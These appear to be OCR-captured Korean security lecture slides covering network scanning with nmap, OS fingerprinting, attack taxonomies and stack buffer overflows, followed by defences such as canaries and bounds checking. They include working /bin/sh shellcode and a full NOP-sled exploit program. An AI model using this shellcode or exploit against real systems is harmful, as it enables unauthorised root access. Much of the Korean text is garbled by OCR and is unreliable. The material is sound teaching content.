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CommandZ= 8} 0f 2|8 off 2 Progeamming il 2| &+ o2

File Permission

) Race Condition| |Buffer overflow
(setuid)

Configuaration Sniffing
Error

Environment Spoofing
Variable error /{) DoS

Dos |—— _

/ Web Attack

Kernel Backdom‘

Format String /

Scanning

Appl Backdoor

| Window Trojan
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A

P2P messenger Advanced
Attack BO Attack

Advanced

Wireless Attack Kernel Backdoot

DB Attack

K2 AlJl= MSAIDINA HeAlDlE Hals
Blackhat® & O] A|DJ| 2 Whitehatd & 2
ADJIol X & A =T
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Blackhat & WhitehatZ 2]
AlJ|l= & X| &4

ol D& 2t0l= 2F 1AID12] XHOIDJF UL,
« & JH blackhatl &= H2 20¢
e wireless attack

* DB SQL 1injection attack
 Advanced Buffer Overflow Attack

(Free malloc overflow)
 whitehatd S 2| & Xl L|of J| &
e internet worm (CodeRed, nimda, Window Trojan)
* Distributed Denial Of Service Attack
» Web Application Attack (£ H 0| X| &=




Blackhat & Whitehat!
AlJ|l = X| & éi

- Olelet Al 22X &2 210

O —

« whitehat& & 2| 2t &1 A} 2} blackhatE & |
e whitehat@ = 2| A

« 0| ™ AID| 2 -'—jjjltc',*oﬂ CH St CHZH 0f
e blackhatd 22| &AL

« MZ=& AlJIE J—Djjltc',*ﬂ M Oll CHol 2
- ZAE EOFAEAAF] 0|E &}

—_ O /] —

CEOMHIE HEUX, AIAE HESR 22IX0 B

whitehat @4 2| D=2 CI 2}
. FOtE M BOLRICH HIOSAKO AL

blackhat & < 9| = EP—E— Ct
e programming 0| 2| &t hackmgOl LI J] Al &t
N3AIDIOIE SEFE2 =4 0| & 3=
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- 3255 JI8 (Scanning)

* Network S4&! FHAEE 0| =
« System 22| x2S 0|t
* software 1 &2 LFE

« 24 J| Y (backdoor)

° A_“:”A X-”__’I_ tll- __’|_DZ| (DOS)
MES BB &EF DI 2 (worm, trojan)
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Scanning

Which systems are alive and reachable?
What services they offer?
How can I know those?

Ping sweep,
Port scan
OS indentification

DoS2t = X A
IDS 2] &M RA010| CHCH=E XHA|




Kind of Information

g » OF 1z

Running TCP/UDP services

System architecture
(Intel x86, sparc)

Reachable IP address
Oeration System type
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ICMP echo request

* ICMP i1s defined by RFC 792.

 I[CMP ECHO request (ICMP type 8) Packet
S SXAAHN M

« 0l CHEt S &2 Z ICMP ECHO reply
(ICMP type 0) PacketO| & otU =KX=
A=

« SR P Z0IRU=KXNS HFE 24
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ICMP echo request

# nmap —sP —n 192.168.192.255/24

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Host (192.168.192.0) seems to be a subnet broadcast address (returned 1 extra
pings).

Still scanning it due to positive ping response from its own IP.

Host (192.168.192.1) appears to be up.

Host (192.168.192.3) appears to be up.

nmap run completed -- 256 IP addresses (108 hosts up) scanned in 5 seconds
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Port Scan

» Ping SweepO| =, 58 AIAE S| TCPLY
UDP *Z E 0l 1212 ooHA‘l HE AHIA
b &8 = 0| H LI listening & EH Ol L= X

= et
* tcp connect() scan

* tcp syn scan (half-open scan)
* stealth scan

* udp scan
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TCP Sweep

* TCP 3-way handshaking

process 1 process 2

passive OPEN,

waits for active reguest
Active OPEN

Send SYN, seg=n >

Receive SYN
Send SYN, seg=m, ACK n+l

Receive SYN+ACK
Send ACK m+1 >

The connection is now established and the two data streams
{one in each direction) have been initialized (sequence numbers}
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TCP connect() scan

SHEANAGCO=Z
S gratE W20l
YN/ACKIN 2! Q1D+

BHEEl TH210] RST/ACK
YES 3oz of &g O

SANAZYO ZEE
ggmﬁ@lﬂ listening AEHDt OFE

listening &t

y

ACKE HM&ESE2=2M
three—way handshake2 HAZ0| RESETE

=2
[==a




TCP connect() scan

e Most basic form of tcp scan.
* need NOT root permission.

e scan by using many sockets in parallel. ->
speedy scan.

« Using non-blocking I/0 allows you to set a low
time-out period and watch all the sockets at once.
-> speedy scan.

- HE2 SHAAGS 220 Y| =0l = A
S XE = A0 EHEO0l Jt=s
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TCP syn scan
SYN IH2! = SHAIAHE
O ZEN &S5

NO
gtstEl 210l RST/ACK
male2 ol &L H
SHAAZO ZTEE
SHAAZO listening & EHOF Ot
listening &} El
RST 2! 2 & AIAE 0
L0 22 S oMl SHCH.

HZ0| RESETE
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TCP syn scan

¢ & _]

0l &= =250 85=.

* often referred to as "half-open" scanning
* you don't open a full TCP connection

* Return SYN|ACK indicates the port 1s
listening.
e Return RST 1s indicative of a non- listener.

* You need root privileges to build these
custom SYN packets.
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Stealth scan

» “Stealth” means “Null flag”,
— No flag or code bits set.

« Lt= AS0ll of L&A “Stealth scan”&.
LY FES ShE

- SJAAEL = WIS 2ol I =&

- 282U AMOIEL HERD EHZUAM A
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L o e 2T

Stealth scan®| =&

* SYN/ACK scan
 FIN scan

« XMAS scan

e NULL scan
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« HIEAAMO teplf2ls © M= 10
U2 A X

==& ot (4 port scan.
+ SYN/ACK, FIN, XMAS, NULL flag I} 2!

= D=

— Closed port= RESETIH3! L &£ Bt
— Open porte= SIS (FAl)
— RFC 7932 3 410+

« oX|IBFMSS2 0| #H1oHE S Al

ol
¢Q

]

=)
)
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SYN/ACK scan

e O|& & O 2 TCP three-way handshakeE S Al

e TCP three-way handshake2| & HHH SHHE A
=0t S SR SEHICI SYN/ACK IH3! S B
UM 1EtSS Sl E2E &=

* Closed port

— Target A|AEIZ2 SYN IH2!0| 8EEX E/UAS=S L
JEHNA H3lE @FSE S

* Open port
~ SLHH & SYN/ACKIH 3! 2 AI(BEHS)
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T T o T

e Closed port
- Target AMAEIZ2 SYN IH2!0
BUHHE IS @5
|*E“O| EM 2 oS EE D} closed2l= L=+

— 0O —

* Open port
~ BU & SYN/ACKINZ! SAI(REH)

# nmap —sF 203.239.110.1
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XMAS scan, NULL scan

e XMAS scan
— URG, ACK, PST, RST, SYN, FIN =c{_]
PEAHEetIHEIES Blie AHYEIE
# nmap —sX 203.239.110.1
e NULL scan
- B= SHAE Off
PAR=s

# nmap —sN 203.239.110.1

uln

a2 BEWe AL

o
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UDP Scan

« UDP port (RFC 768) 0| &

» send 0 byte udp packets to each port on
the target machine.

. ICMP port unreachable Ol Al X| J} return
A oY & E Jf reachableol CF ) Tt
=t (open portet 1 &

. Al2IMO| ®S

—

e lostUDP &= J|s2R
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UDP Scan

* Useful to scan solaris RPCbind port, which 1s
hided on an undocumented UDP port somewhere
above 32770.

« sunrpc(111 tep) portJt blockEl | JLHE Its.

#nmap —sU 11.11.11.11

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on 11.11.11.11

(The 1429 ports scanned but not shown below are in state: closed)

Port State Service

32771/udp open sometimes-rpc6

32775/udp open sometimes-rpcl4

32776/udp open sometimes-rpcl6

32777/udp open sometimes-rpcl8




H1X 2029 MN2A 2SN ICISN sr=suusags

Port scan2| £ 4~ J| &

« Random port scan

- =XNOITE HZEAS €1

e Slow scan
— SN AIZHLH AT =S

* Fragmentation scan

[

| A 3t

* Decoy scan

 Coordinated scan
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OS Identification

* Banner Grabbing

— ALZZA Linux release 6.0 (May the Force be with you)
Kernel 2.2.5-22 on an 1586
login:

— #echo'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep “Server:'
Server: Microsoft-11S/4.0

« TCP/IP Stack Fingerprinting

— TCP AE8iE &< [, 2 OSvendor€2Z L= =XIJI L2 &
T ENELNRIE:: TCP Hals B BtetE = SE= d4 &0t

Of AAA|AEIO 2 JHIHIE SO = |
# nmap —O 203.239.110.1

TCP Sequence Prediction: Class=random positive increments
Difficulty=5721956 (Good luck!)

Remote operating system guess: Linux 2.1.122 - 2.2.14
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TCP/IP Stack Fingerprinting

A2 H IKISA P=8uusnge

Hl]

* FIN probe

* Bogus flag probe

* TCP Initial sequence number sampling
 Don't Fragment Bit

e TCP Initial Window

« ACK Value

e ICMP Error Message Quenching
 ICMP Message Quoting

* ICMP Error Message Echoing Integrity
« Type of Service (TOS)

* Fragmentation Handling

 TCP options
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TCP 1nitial number sampling

HZQHN SE& M TCP &0l Wel
S —

M ER T O Initial sequence number 2

MMEo =,

e Q= HA2 FY A L 64KA St

» FreeBSD, DG-UZX, IRIX, Solaris : Al 20|
gl dlot0d St

e Linux : 2™ random

Uy

(-

A
2
X
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A

TCP/IP2] 2 dlt 2=

ot 2 NS

Spoofing

— IP Spoofing, DNS Spoofing, Domain Spoofing,

ARP Spoofing
Hijacking
— Sessiong Hijacking
Sniffing
— Switch & 0| A1 2| Sniffing
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Account & &
Password Cracking
File / Directory Permission Error (0il: .rhosts)

= 20l= A& Lo Atdl 8l S
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=3 MMl = Apphcatlona et HE
cHH & =0l ——| = Nl &

“bug” =2 “Vulnerability”E 0| ¢t &3

Bug (5= 2/0[ 2] vulnerability)

— 1990 Ol < 5000212 Eot2teA bug)t &M

( Hackerslab Vulnerability database)
— L HE = bugll 95%e trivial
— & Xl whitehatZ S 0| A LKA 2 M2+ U= bug

SA & H bugll| 5% 0f Ct
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Software 1o & °| @LFS 0|=et =3

« “whitehatd S 0| A LIoH At 2 Xl &2 2|0
— Exploit)}t Z0|
== AIAE0] Of bughll HE
Bug)t 20| E€HM U=

(= 2 +otI|Jt Hed s

A S| &= 02

& S El, remoteS &, rootshell & = S 3

 Hackerslab Vulnerability Expect X| %=
9 QASS BIGI0f 2 bug®| MZKILEZ 1-36
level= HHE
— 0fl: CodeRedl| & 36 level
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Eile Edit View Favorites Tools Help

SIS A | Keyword 24

|HZ2EA ~| [2002/08/20

227 drticles 1711 Pages
ELE =g m Z|2HH H= = 3 patch
06/04/2002  0B/07/2002 5271 SGIIRIK rpe. passwd Buffer Overflow Yulnerakility
06/04/2002  OB/07 2002 B270 OpenServer crontab Format String Yulnerahility
06/04/2002 0B/07/2002 5269 Ghostscript PostScript File Arhitrary Command Execution Yulnerahility
06/04/2002 0B/07/2002 B2E8 ISC BIND 9 Remote Denial Of Service Yulnerakility
06/04/2002 0B/07/2002 5267 Slurp SvsLog Remate Farmat String Vulnerahility
06/04/2002 0B/07/2002 BZEE Nullsoft SHOUTC ast Remote Buffer Overflow Yulnerability
08/04/2002 | 0R/07/2002  B265 Sun Solaris mibiisa Remote Buffer Overflow Yulnerahility
06/04/2002  OB/07/ 2002 BG4 Sun Solaris snmpdsx Farmat String Yulnerahility
06/04,/2002  0B/07/2002 5263 LogiSense Hawk-i Login SOL Injection Yulnerahility
06/04/2002  OB/07/ 2002 B2E2 Microsoft Internet Explarer Gopher Clignt Buffer Overflaw Vulnerahility
06/04,/2002  0B/07/2002 5261 Stellar-x MSNTauth Syslog Format String Yulnerahility
06/03/2002 0OR/07/2002 5260 MIME!: Tools MIME Encoded YWords Yulnerahility
DB/03/2002  OB/07/2002 5263 MIME:: Tools RFC Parameter Yalue Continuation Yulnerability
06/03/2002 0B/07/ 2002 5258 Teekai's Forum Weak Visitor IP &ddress Encryption Yulnerahility

DR/NEA2002 0B/ 2002 | 5257 .. Teekal's Forum Cookie Maninulation &ccount Compromize Malnerabdit. 0 =l
Copyright & 2002 HackersLab Corp, &ll rights reserved,
l_ ’_ l_ |4 Internet Y
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JHESE Z A
— Buffer Overflow
o Stack Overflow

— Frame Pointer Overflow

» Heap Overflow

* Free Malloc Overflow
S2As O1lE A

Lo 2

2 H0U0IH &0 2F
Format String Attack
ZIHOIAl I B=2E &4

=
FHOIX Z2F 2 B 2

SId o 1T o

Cross Site Script ==
Race Condition

-/




MdE2AR0SE ACISN or=muusnge

A

H2lasE XHel LF
~AHOIX ZREL 2N 2E

A B QF

I Kl & XIS Al 2] configuration®] 2 5=
Al
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Buffer Overtlow

 Buffer overflow ?

— B HIL U E 2] B H B At(Boundary Check)E OF Al &2
H2UOIHE I SEo=MN 2ME=S4

2 YT RIOH AS{0ILH B PO L2l HOIE JI= L A

o
g

o =< =
LU= Y

Lower Memory Address

Local variables
(buffer area)

Stack Frame Pointer

Return Address

Arguments

Execution Stack
Stack Frame
Activation Record
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o4 O Jé-l Xl_
FH EX Y HBLE buffer

* OS, Program, Version, etc ( our cod 6)
»  Exploit code from the well-known
security portal sites
=2 A& Exploit T2 18 &4

A
2202 2/2E BAE WU DE A

ONIE F>-¥rm.n 1o4{>no

Let’s exploit!
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Buffer Overflow 2| O|oH

$ cat overflow.c
void main ()

{
char buffer[16];

printf ( "Input : " );

scanf ( "%s", buffer );

printf ( "Output : %s\n", buffer );
¥
$ ./overflow
Input : 1234567890123456
Output : 1234567890123456
$ ./overflow
Input : 123456789012345678901
Output : 123456789012345678901
Segmentation fault

Why?




T Hole Y 2O J<isa

Intel Architecture32 CPU

CIRYMEHTIIEY

. Stack‘7

HALZE HZ2l S2+22 M Last In First Out (LIFO) &
ef+=2 O'XF ' Zgl BE Y XNG HFEEOZ ALE
U222 9 SUHAM =& 220 2 X
22 ot Bz St

TA-320{| M= 480
|

|Em
E Bag

ek A 1 8E0IE

M

* Registers
— ESP- AEHO| Top= Jiel&

— EBP-S £ & procedureE ¢/t AE4 I Hreference
pointE LIEIEH. J &= 0| M2 EBP gt =
— EIP- S0l = BEH2 AXE )
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Lower Memory Address

Execution Stack
Stack Frame
Oxbfffffff Activation Record
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Stack Structure

Overflow & Overflow =

}4 32 bit ,{ }‘ 32 bit »{

16 bytes 16 bytes

sfp 4 bytes 4 bytes
ret 4 bytes 4 bytes
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Return Address®| & &t
e Retaddrl| L&}l 2let S & M O

void function (int a, int b, int c)
{

char bufferl1 [ 5 ];

char buffer2 [ 10 ];

int *ret;

ret = bufferl + 12;

(*ret) += 8;
}

void main()




 shellcode2t?

— /bin/shE & HA[I[= JI A
i

e shellcode =&/
— 22| &2 shellcodel| 2 X

S 222z B AIE ALS

— NULL EAt= HIH Ol = AtEl
II HLl=z 0x00 2= U
s o JIAHO Z== Al
— CPU OtCH Ch= A MIA

(KIS sr=guusnga

Spanwing Shell Code
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e Shell codel| &S |« 2tA &=l shell code
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Buffer Overflow & 2|

char shellcode[] =
"xeb\x 1 \x5e\x89\x76\x08\x3 1\xc0\x88\x46\x07\x89\x46\x0c\xb0\xOb"
"x89\x13\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x3 1\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\x f\xff\xft/bin/sh";

char large string[128];

void main() {
char buffer[96];
int 1;
long *long ptr = (long *) large string;

for 1=0;1<32;1++)
*(long_ptr + 1) = (int) buffer;

for (1= 0; 1 < strlen(shellcode); 1++)
large string[i] = shellcode[i];
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ds =T
@A SIRHMEHTRIT Y

Al K 0| M 2| Buffer Overflow

& &5t ret addr2 +
=0 0l
NOP DEE (0|2

V7

\y

\J_‘
LS

Q: Where is our code ?
A: Maybe...

buffer




#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0”
“\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\Xx89\xf3\x8d\x4e\x08\x8d\x56\x0c”
“\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned Tong get_sp(void) {

_asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET;
int bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize=atoi(argv[1l]);
if (argc > 2) offset=atoi(argv[2]);

ICISN sr=muusnge

N Buffer Overflow

if (! (buff = malloc(bsize))) {
printf("Can't allocate memory.\n");

exit(0);
}
addr = get_sp() - offset;

printf("Using address:0x%x\n",addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) -
(strlen(shellcode)/2));
for (i=0; i<strlen(shellcode);i++)
*(ptr++) = shellcodel[i];

buff[bsize - 1] = '"\0';
memcpy (buff,"EGG=",4) ;
putenv (buff);
system("/bin/bash™);
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Buffer Overflow CHZH

« =3N

Al HE X
~ AFE X

A&l g0 GlOIE J1= 2X
SE| =& [ A0 22 A (integrity) 2 Al

N

=2
(-
B2
C

= = Al

« Linux Kernel patch from the Openwall Project

— http://www.openwall.com/linux/
« Solaris 2.6 O &F B{ &: prevent and log stack-smashing attack

A X

— /etc/system ==
— set noexec_user stack =1

— set noexec user stack log =1
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« 3H HALE ol= | ALE
~ GNU GCC 2.7.2.3

« SHFA TS0 “canary” wordE 9 XAl &

. canary "word )t HE L H ABH OQHEZ R AL AIE &
K & & 1(syslog) , AIAE S 2.

— Random canary

» &St [ OtCt canary valueE H & Al

otAl Rol== &

— Null canary(0x00000000),
» 2RI HIHO S 2XH0x00)
ol=

— Terminator canary(combination of Null, CR, LF, -I)
» NULL —-—XPE =UAl 2= 2E E2AE &2



http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard

Sun Solaris
Digital
HP/UX
IBM AIX
SGI IRIX

ICISN sr=muusnge

http://www.redhat.com/apps/support/updates.html
http://support.microsoft.com
http://www.freebsd.org/security/index.html
http://sunsolve.sun.com

ftp://ftp.compaq.com/pub
http://us-support3.external.hp.com
ftp://software.watson.ibm.com/pub

ftp://ftp.sgi.com/security
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2 H 2] 2+ & 0
— BoundaryE & Atot=
— BoundaryE & Al ot

« NIE LNl ==

— strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(),
sprintf(), vsprintf(), gethostbyname()
. Al2 X BHAS

O O O T

— strncat(), strncpy(), fgets(), fscanf(), viscanf(), snprintf(),
vsnprintf()

— Overflow wrapper AIZ
« AUSCERT : overflow wrapper.c

— ftp://ftp.auscert.org.au/pub/auscert/tools/overflow wrapper.c

« HIH )| A= 2 22 )8 =
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Buffer Overflow & & &F X

Example of Vulnerable Program Example of Secure Program (patch)

insecure.cC securel.c

#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <ctype.h> #include <ctype.h>

#include <stdlib.h>
int main(int argc, char **argv)

{ int main(int argc, char **argv)
char buffer[1024]; {
ifCargc > 1) { char buffer[1024];
strcpy(buffer, argv[1]); int 1;
} if(argc > 1) {
printf(“buffer: %s\n”,buffer); if(strlen(argv[1l]) >=1023) {
} fprintf(stderr,”too long\n”);
exit(0);
}
strcpy(buffer, argv[l]);
}

printf(“buffer: %s\n”, buffer);
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wide network scan

Remote intrusion

Politic, Ecomomic,
Religion, Nationalism

gain any account ?

No

Login as account concentrated scan

Local vulnerability? Remote vulnerability?

es *No

Local DoS

Remote DoS
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